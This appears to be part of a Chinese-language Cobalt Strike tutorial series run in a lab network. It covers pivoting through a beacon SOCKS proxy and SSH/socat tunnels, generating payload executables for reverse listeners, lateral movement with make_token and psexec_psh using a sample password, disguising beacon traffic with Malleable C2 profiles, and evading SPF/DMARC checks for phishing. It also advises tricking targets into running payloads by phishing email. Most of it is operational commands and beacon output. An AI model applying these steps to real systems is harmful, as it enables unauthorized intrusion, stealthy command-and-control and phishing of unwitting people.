# Untitled

## 21、反向转发通道的建立

### 0x00 前言

这一节将介绍使用 ProxyChains 进行代理转发与使用反向转发的方法。

### 0x01 使用 ProxyChains 进行代理转发

#### 介绍

使用 ProxyChains 可以使我们为没有代理配置功能的软件强制使用代理

1. 和[上一节](https://teamssix.com/year/200419-150644.html)中介绍的一致，开启一个 socks 代理服务
2. 配置 `/etc/proxychains.conf` 文件
3. 运行 `proxychains + 待执行命令`

#### 演示

接下来继续[上一节](https://teamssix.com/year/200419-150644.html)中的演示环境：

> 攻击机 IP：192.168.175.200
>
> 上线主机：外部IP 192.168.175.130、内部IP 192.168.232.133
>
> 攻击目标：192.168.232.0/24 地址段

#### 1、设置 socks 代理

首先开启交互模式，之后开启 socks 代理

```
sleep 0
socks 9527
```

```
beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 9527
[+] host called home, sent: 16 bytes
[+] started SOCKS4a server on: 9527
```

#### 2、配置 ProxyChains <a href="#toc-heading-6" id="toc-heading-6"></a>

在攻击机上，配置 `/etc/proxychains.conf` 文件的最后一行，根据当前攻击主机 IP 与设置的 Socks 端口，修改如下：

```
socks4 192.168.175.200 9527
```

#### 3、开始使用 ProxyChains <a href="#toc-heading-7" id="toc-heading-7"></a>

根据[上一节](https://teamssix.com/year/200419-150644.html)使用 Metasploit 的扫描可以知道，在 192.168.232.0/24 地址段中存在主机 192.168.232.132 ，接下来使用 nmap 扫描一下常见的端口，这里以 80,443,445,3389 作为演示。

```
proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389
```

> -sT：使用 TCP 扫描
>
> -Pn：不使用 Ping
>
> -p：指定扫描端口
>
> 注：不加上 -sT -Pn 参数，将无法使用 proxychains 进行代理扫描

```
> proxychains nmap -sT -Pn 192.168.232.132 -p 80,443,445,3389                       
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-07 23:05 EDT
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:80  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:445  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:3389  ...  OK
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:443 <--denied
Nmap scan report for 192.168.232.132
Host is up (0.19s latency).

PORT     STATE  SERVICE
80/tcp   open   http
443/tcp  closed https
445/tcp  open   microsoft-ds
3389/tcp open   ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds
```

通过扫描可以看到目标 80 端口是开放的，接下来使用 curl 作为对比示例。

```
curl 192.168.232.132
proxychains curl 192.168.232.132
```

```
> curl 192.168.232.132
curl: (7) Failed to connect to 192.168.232.132 port 80: No route to host

> proxychains curl 192.168.232.132
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  192.168.175.200:9527  ...  192.168.232.132:80  ...  OK
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
……内容太多，此处省略……                 
```

### 0x02 反向转发

反向转发顾名思义就是和[上一节](https://teamssix.com/year/200419-150644.html)中提到的转发路径相反，之前我们设置的代理是 `CS服务端 --> 上线主机 --> 内网主机`，反向转发则是 `内网主机 --> 上线主机 --> CS服务端`。\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidgNgC0XPeSK_pdwLC%2Fimage.png?alt=media\&token=4ef849be-f1d9-4870-8e27-057b51c5545b)

继续使用上面的演示环境，首先右击上线主机会话，选择 `Pivoting --> Listener` ，除了 Name 选项之外，CS 都会自动配置好，这里直接使用默认的配置信息。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidgRVuMwQeXWtiR0ji%2Fimage.png?alt=media\&token=ededa7af-230b-43f7-b8fc-e64a92d9f72f)

之后生成一个 Windows 可执行文件，选择上一步生成的监听器，如果目标是 64 位则勾选使用 x64 Payload 的选项。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidgWd3rb74z8i8rOO4%2Fimage.png?alt=media\&token=049b2de5-3231-42d2-ba68-d2bc57a54540)

之后将该可执行文件在目标主机上执行即可，在现实环境中可以尝试使用钓鱼邮件的方式诱导目标执行。

当目标执行该文件后，就会发现当前不出网的 192.168.232.132 主机已经上线了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidgbO0X_rotcWlC-hN%2Fimage.png?alt=media\&token=133016df-7c0a-4a9e-af92-ddfe46655a49)

有一说一，关于这部分网上大部分教程还是 CS 3.x 版本的教程，而在 4.0 的操作中个人感觉要方便很多。

网上关于这部分内容的 CS 4.0 的教程真的是少之又少，一开始在参考 3.x 教程的时候踩了很多坑，最后终于某内部知识库发现了一篇关于这部分内容的 4.0 教程，在该教程的参考下才发现居然如此简单。\\

## 22、通过SSH开通通道

### 0x00 前言

这一节将来介绍如何通过 SSH 通道进行攻击。

### 0x01 通过 SSH 建立通道

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-Midi_CKIqLSzVk1AtUF%2Fimage.png?alt=media\&token=aaad5f0f-119f-4c53-bf66-491a99326717)

1、连接到上图中蓝色区域里的 PIVOT 主机并开启端口转发

```
ssh -D 1080 user@<blue pivot>
```

> 该命令中的 -D 参数会使 SSH 建立一个 socket，并去监听本地的 1080 端口，一旦有数据传向那个端口，就自动把它转移到 SSH 连接上面，随后发往远程主机。

2、在红色区域的 PIVOT 主机上开启通过 SSH Socks 的 445 端口转发

```
socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:<target>:445
```

> socat 可以理解成 netcat 的加强版。socat 建立 socks 连接默认端口就是 1080 ，由于我们上面设置的就是 1080，因此这里不需变动。如果设置了其他端口，那么这里还需要在命令最后加上 `,socksport=<port>` 指定端口才行。

3、在攻击者控制的主机上运行 beacon，使其上线

```
注意需要使用 administrator 权限运行 beacon
```

4、在上线的主机上运行以下命令

```
make_token [DOMAIN\user] [password]
jump psexec_psh <red pivot> [listener]
```

整体的流程就是下面这张图一样。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidipK5K5FL8aFYgchg%2Fimage.png?alt=media\&token=490e8bde-378f-4933-b2db-2674340b8882)

### 0x02 演示

我在本地搭建了这样的一个环境。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidiwlKvhPl63CymS9n%2Fimage.png?alt=media\&token=09224ba2-2608-4508-b38a-350457045e23)

1. 首先使 Win1 主机上线，接着在 Linux1 主机上通过 SSH 连接到 Linux2 主机。

```
ssh -D 1080 user@192.168.175.146
```

```
> ssh -D 1080 user@192.168.175.146
user@192.168.175.146's password: 
Last login: Fri Jul 31 20:00:54 2020 from 192.168.175.1
user@ubuntu:~$ 
```

2、在 Linux1 主机上开启 445 端口转发

```
socat TCP4-LISTEN:445,fork SOCKS4:127.0.0.1:192.168.232.132:445
```

3、在 Win1 主机上运行以下命令使 Win2 上线

```
make_token teamssix\administrator Test123!
jump psexec_psh 192.168.175.200 smb
```

```
beacon> make_token teamssix\administrator Test123!
[*] Tasked beacon to create a token for teamssix\administrator
[+] host called home, sent: 61 bytes
[+] Impersonated WINTEST\Administrator

beacon> jump psexec_psh 192.168.175.200 smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_532c) on 192.168.175.200 via Service Control Manager (PSH)
[+] host called home, sent: 5886 bytes
[+] received output:
Started service 4aea3b9 on 192.168.175.200
[+] host called home, sent: 204473 bytes
[+] established link to child beacon: 192.168.232.132
```

4、随后便可以看到通过 SSH 上线的主机\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-Midj4zZ7JPWBckyNOdc%2Fimage.png?alt=media\&token=581e522b-1d71-45cb-8593-adea3abf42ca)

## 23、malleable命令

### 0x00 前言

这节课将来看看如何优化 CS 的攻击载荷，从而使它更方便、隐蔽些。

### 0x01 malleable 命令和控制

malleable 是一种针对特定领域的语言，主要用来控制 Cobalt Strike Beacon

在开启 teamserver 时，在其命令后指定配置文件即可调用，比如：

```
./teamserver [ip address] [password] [profile]
```

### 0x02 编写配置文件

#### 1、定义事务指标

```
http-get {
	# 指标
}
http-post {
	# 指标
}
```

#### 2、控制客户端和服务端指标

```
http-get {
	client {
		# 指标
	}
	server {
		# 指标
	}
}
```

#### 3、set 操作

set 语句是给一个选项赋值的方法，以分号结束。

```
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1)";
```

malleable 给了我们很多选项，比如：

```
jitter		# 控制 beacon 默认回连的抖动因子
maxdns		# 控制最大 DNS 请求，限制最大数量可以使 DNS Beacon 发送数据看起来正常些
sleeptime	# 控制 beacon 的全部睡眠时间
spawnto
uri
useragent	# 控制每次发送请求的 useragent
```

`sleeptime` 和 `jitter` 两个选项是很重要的

#### 4、添加任意 headers

```
header "Accept" "text/html,application/xhtml";
header "Referer" "https://www.google.com";
header "Progma" "no-cache";
header "Cache-Control" "no-cache";
```

#### 5、其他指标

```
header "header" "value";
parameter "key" "value";
```

#### 6、转换/存储数据

```
metadata {
    netbios;
    append "-.jpg";
    uri-append;
}
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidjU_WdXE2NWDfID5J%2Fimage.png?alt=media\&token=b8668eea-28c0-4d35-a5e9-4bfe08fd42f7)

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidjVwkFdsCF94QSBBD%2Fimage.png?alt=media\&token=10217b46-44f5-467c-aeea-132594a5c9fc)

#### 7、数据转换语言

```
append "string"
base64
netbios
netbiosu
prepend "string"
```

> 参考<https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf>

## 24、C2lints实例演示

### 0x00 前言

续上一节，在GitHub 上有一些配置文件的示例，项目地址：<https://github.com/rsmudge/Malleable-C2-Profiles>

这一节将使用该项目中的 `Malleable-C2-Profiles/APT/havex.profile` 配置文件作为示例。

### 0x01 测试配置文件是否有效

可以使用 c2lint 工具对配置文件进行测试，以判断配置文件编写的是否有效。

来到 cobalt strike 目录下，可以看到有一个 c2lint 文件，该文件需要在 Linux 下运行。

```
./c2lint [profile]
```

在运行的结果中，绿色正常（这里更像青色），黄色告警，红色错误，比如运行 `Malleable-C2-Profiles` 项目里的 `havex.profile` 文件。

```
./c2lint ./Malleable-C2-Profiles/APT/havex.profile
```

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidkwtFlvgqCbxAsc13%2Fimage.png?alt=media\&token=768f254a-3377-4fa2-935f-36aa36beb89c)

当配置文件存在错误的时候，就会以红色显示出来

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-Midl2cDU1u0mavCHmDl%2Fimage.png?alt=media\&token=6bf7bb5e-99a9-4299-b732-11fca9e14976)

### 0x02 运行 teamserver

```
./teamserver [teamserver_ip] [teamserver_password] [profile]
```

```
> ./teamserver 192.168.12.2 password ./Malleable-C2-Profiles/APT/havex.profile
[*] Will use existing X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] I see you're into threat replication. ./Malleable-C2-Profiles/APT/havex.profile loaded.
[+] Team server is up on 50050
```

这里调用的 havex.profile 配置文件，该配置文件里对 cookie 进行了 base64 编码。

开启 cobalt strike 后，使主机上线，通过 wireshark 抓包可以发现数据包确实符合这些特征。\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Midg-FgZAGge4UF-cv_%2F-MidlC0SysFnOWu8IvB9%2Fimage.png?alt=media\&token=63e6c82e-cb54-4835-aac3-d093e99e5b94)

关于 Malleable C2 文件的使用，这里只是大概记录了一些，想了解更多关于 Malleable C2 文件的内容或者注意事项等，可以参考 A-TEAM 团队的 CS 4.0 用户手册。

## 25、邮件防御

### 0x00 前言

Cobalt Strike 不是什么工作情况都能胜任的工具，因此就需要我们根据不同的情况去做一些辅助工作。

最后这几节将学习免杀部分的东西，这一节将主要介绍邮件防御方面的相关概念。

### 0x01 介绍

#### 1、SPF、DKIM、DMARC

SPF、DKIM、DMARC 都是邮件用于帮助识别垃圾信息的附加组件，那么作为一个攻击者，在发送钓鱼邮件的时候，就需要使自己的邮件能够满足这些组件的标准，或者发送到未配置这些组件的域。

在理解这些防御标准前，需要先理解如何在因特网上通过 SMTP 发送邮件。

#### 2、SMTP

发送一封邮件的过程大概是下面这个样子，这里以QQ邮箱为例。

```
> telnet smtp.qq.com 25
HELO teamssix
auth login
base64编码后的邮箱名
base64编码后的授权码
MAIL FROM: <evil_teamssix@qq.com>
RCPT TO: <target_teamssix@qq.com>
DATA
邮件内容
.
QUIT
```

### 0x02 防御策略

#### 1、SPF

SPF `Sender Policy Framework` 发送人策略框架，SPF 主要用来防止随意伪造发件人。其做法就是设置一个 SPF 记录，SPF 记录实际上就是 DNS 的 TXT 记录。

如果邮件服务器收到一封来自 IP 不在 SPF 记录里的邮件则会退信或者标记为垃圾邮件。

我们可以使用以下命令查看目标的 SPF 记录。

```
dig +short TXT target.com
```

```
> dig +short TXT qq.com
"v=spf1 include:spf.mail.qq.com -all"
```

上面的 `include:spf.mail.qq.com` 表示引入`spf.mail.qq.com`域名下的 SPF 记录。

```
> dig +short TXT spf-a.mail.qq.com
"v=spf1 ip4:203.205.251.0/24 ip4:103.7.29.0/24 ip4:59.36.129.0/24 ip4:113.108.23.0/24 ip4:113.108.11.0/24 ip4:119.147.193.0/24 ip4:119.147.194.0/24 ip4:59.78.209.0/24 ip4:113.96.223.0/24 ip4:183.3.226.0/24 ip4:183.3.255.0/24 ip4:59.36.132.0/24 -all"
```

上面的 `ip4:203.205.251.0/24 ip4:103.7.29.0/24` 表示只允许这个范围内的 IP 发送邮件。

#### 2、DKIM

DKIM `DomainKeys Identified Mail` 域名密钥识别邮件，DKIM 是一种防范电子邮件欺诈的验证技术，通过消息加密认证的方式对邮件发送域名进行验证。

邮件接收方接收邮件时，会通过 DNS 查询获得公钥，验证邮件 DKIM 签名的有效性，从而判断邮件是否被篡改。

#### 3、DMARC

DMARC `Domain-based Message Authentication, Reporting & Conformance` 基于域的消息认证，报告和一致性。

它用来检查一封电子邮件是否来自所声称的发送者。DMARC 建立在 SPF 和 DKIM 协议上, 并且添加了域名对齐检查和报告发送功能。这样可以改善域名免受钓鱼攻击的保护。

可以使用下面的命令查看目标的的 DMARC 记录。

```
dig +short TXT _dmarc.target.com
```

```
> dig +short TXT _dmarc.qq.com
"v=DMARC1; p=none; rua=mailto:mailauth-reports@qq.com"
```

也有一些在线网站支持检测 SPF、DKIM、DMARC 的记录，比如 <https://dmarcly.com/tools/>

关于这些记录查询返回结果的解释可参考文章末的参考链接。

### 0x03 发送钓鱼邮件的一些注意事项

1、检测目标是否有 SPF 记录，如果有则可能会被拦截

2、检测目标 DMARC 记录的 p 选项是否为 reject ，如果有则可能会被拒绝

3、模板中嵌入的 URL 地址，不要使用 IP 地址，要保证使用完整的 URL地址

4、邮件的附件中不能附上一些可执行文件，比如 exe 格式的文件，因为一些邮件过滤器可能会将这些可执行文件删除\\
